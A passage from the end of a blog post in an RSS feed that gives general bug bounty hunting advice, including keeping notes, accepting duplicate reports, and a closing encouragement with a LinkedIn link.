<li><strong>Stay organized</strong>: Keep notes of your findings and methodologies. It will help in writing better reports.</li>
<li><strong>Don’t be discouraged by duplicates</strong>: Many bugs are found by multiple hunters, but duplicates are part of the process. Keep going!</li>
</ul>
<h3 id="heading-10-conclusion">10. Conclusion</h3>
<p>Bug bounty hunting is a rewarding career path and hobby that allows you to hone your skills and make the internet safer. By continuously learning, practicing, and collaborating with the community, you can become a successful bug hunter.</p>
<p>If you’re interested in more tips and resources, feel free to follow me on my blog or <a target="_blank" href="https://www.linkedin.com/in/kanishkar-m-b18486240/">Linked-In</a>. Happy hunting!</p>
]]></content:encoded></item></channel></rss>